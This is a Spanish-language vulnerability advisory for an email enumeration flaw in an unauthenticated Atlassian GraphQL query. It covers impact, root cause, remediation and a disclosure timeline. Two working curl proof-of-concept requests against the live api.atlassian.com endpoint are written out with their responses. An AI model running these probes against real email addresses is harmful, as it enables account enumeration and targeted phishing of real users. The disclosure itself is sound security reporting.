CVE-2026-XXXX: Atlassian Central GraphQL — Oráculo de Enumeración de Correo Electrónico

Producto

Atlassian Central GraphQL Gateway (api.atlassian.com/graphql)

Tipo de vulnerabilidad

CWE-204: Discrepancia de Respuesta Observable — Oráculo de Enumeración de Correo Electrónico

Severidad

MEDIA — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Descripción

La consulta GraphQL loomUnauthenticated_primaryAuthTypeForEmail en la puerta de enlace GraphQL central de Atlassian devuelve respuestas diferentes dependiendo de si una dirección de correo electrónico está registrada en Atlassian, lo que permite la enumeración de usuarios sin autenticación.

Correo registrado → devuelve authType (p. ej., workos, password, google) y una URI de redirección Correo no registrado → devuelve authType: "none" sin URI de redirección

No se requiere autenticación. El nombre de la consulta incluye "Unauthenticated" — es intencionalmente pública, pero no debería revelar si un correo electrónico arbitrario tiene una cuenta de Atlassian.

Versiones afectadas

• Atlassian Central GraphQL Gateway (snapshot 37157, build 2026-07-02)
• Endpoint: https://api.atlassian.com/graphql

Prueba de concepto

Correo electrónico registrado (devuelve el proveedor de autenticación):

curl -s "https://api.atlassian.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'

Respuesta:

{
  "data": {
    "loomUnauthenticated_primaryAuthTypeForEmail": {
      "authType": "workos",
      "hasActiveMemberships": false,
      "redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
    }
  }
}

Correo electrónico no registrado (devuelve none):

curl -s "https://api.atlassian.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'

Respuesta:

{
  "data": {
    "loomUnauthenticated_primaryAuthTypeForEmail": {
      "authType": "none"
    }
  }
}

También revela: mapeo de correo electrónico → proveedor de autenticación

authType: "workos" confirma que el correo electrónico utiliza WorkOS SSO. authType: "google" o authType: "password" revelarían el método de autenticación. Esto permite phishing dirigido.

Impacto

Un atacante no autenticado puede:

• Enumerar cuentas registradas de Atlassian/Loom a escala
• Mapear correos electrónicos a su proveedor de autenticación (Google SSO, WorkOS, password)
• Usar la información del proveedor de autenticación para campañas de phishing dirigido
• Crear listas de usuarios válidos de Atlassian para relleno de credenciales

Causa raíz

La consulta loomUnauthenticated_primaryAuthTypeForEmail no realiza limitación de velocidad (rate-limiting) y devuelve información del proveedor de autenticación para cualquier correo electrónico sin autenticación. Si bien el endpoint es intencionalmente no autenticado (para el flujo de registro de Loom), revela si un correo electrónico tiene una cuenta y qué proveedor de autenticación utiliza.

Remediación

1. Añadir limitación de velocidad (rate-limiting) para prevenir la enumeración masiva
2. Devolver una respuesta consistente tanto para correos registrados como no registrados
3. O: exigir un CAPTCHA/nonce antes de consultar el estado del correo electrónico

Lo que esto NO es

Después de pruebas exhaustivas, estas afirmaciones fueron invalidadas:

• ❌ No hay token JWT con privilegios (los tokens tienen aaid: "unidentified")
• ❌ No se ejecutan mutaciones de administrador (todas fallan con ValidationError)
• ❌ No hay bypass de autenticación (la puerta de enlace identifica correctamente al llamante como unidentified)
• ❌ No hay fuga de datos más allá del mapeo de correo electrónico/proveedor de autenticación

Cronología

• 2026-06-30: Descubierto
• 2026-06-30: Reportado a [email protected]
• 2026-07-02: Evaluación corregida — rebajado de Crítico (9.8) a Medio (5.3)

Descubierto por

Wh4l3X